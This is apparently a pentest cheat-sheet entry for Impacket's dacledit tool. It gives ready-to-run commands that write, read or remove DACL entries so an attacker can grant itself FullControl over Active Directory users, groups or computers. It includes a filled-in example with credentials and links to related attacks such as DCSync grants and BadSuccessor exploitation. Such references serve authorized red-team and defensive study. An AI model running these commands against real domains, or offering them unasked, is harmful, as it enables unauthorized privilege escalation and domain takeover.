Impacket dacledit.py
Read, write, or remove DACL ACEs on AD objects from Linux. Use to grant yourself GenericAll/WriteDacl over a target user, group, or computer once you have an ACL-write primitive.
- Tool
- impacket-dacledit
- Category
- Privilege Escalation / ACL / DACL Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-dacledit -action write -rights FullControl -principal '<attacker>' -target '<victim>' '<domain>/<user>:<password>'
Credential variants
The same attack using a different authentication material.
Read DACL requires password
impacket-dacledit -action read -target '<victim>' '<domain>/<user>:<password>'
Remove ACE requires password
impacket-dacledit -action remove -rights FullControl -principal '<attacker>' -target '<victim>' '<domain>/<user>:<password>'
Examples
impacket-dacledit -action write -rights FullControl -principal jdoe -target itadmin corp.local/jdoe:'Password123!'
Tags
References
Related commands
- BloodyAD Add User to Group Add user to group using BloodyAD
- bloodyAD Grant DCSync Grant a target principal the DS-Replication-Get-Changes and…
- BloodyAD Set Object Owner Set object owner using BloodyAD
- Impacket badsuccessor Exploit the BadSuccessor vulnerability to escalate privileges via delegated Managed…
- Impacket dacledit Read or write DACL entries on AD objects to grant or abuse ACL rights
- Impacket owneredit Read or rewrite the nTSecurityDescriptor owner of an AD object. Use after a WriteOwner…
- Impacket owneredit Change the owner of an AD object (WriteOwner abuse)
- NetExec LDAP BadSuccessor Check and exploit the BadSuccessor vulnerability via delegated Managed Service Accounts…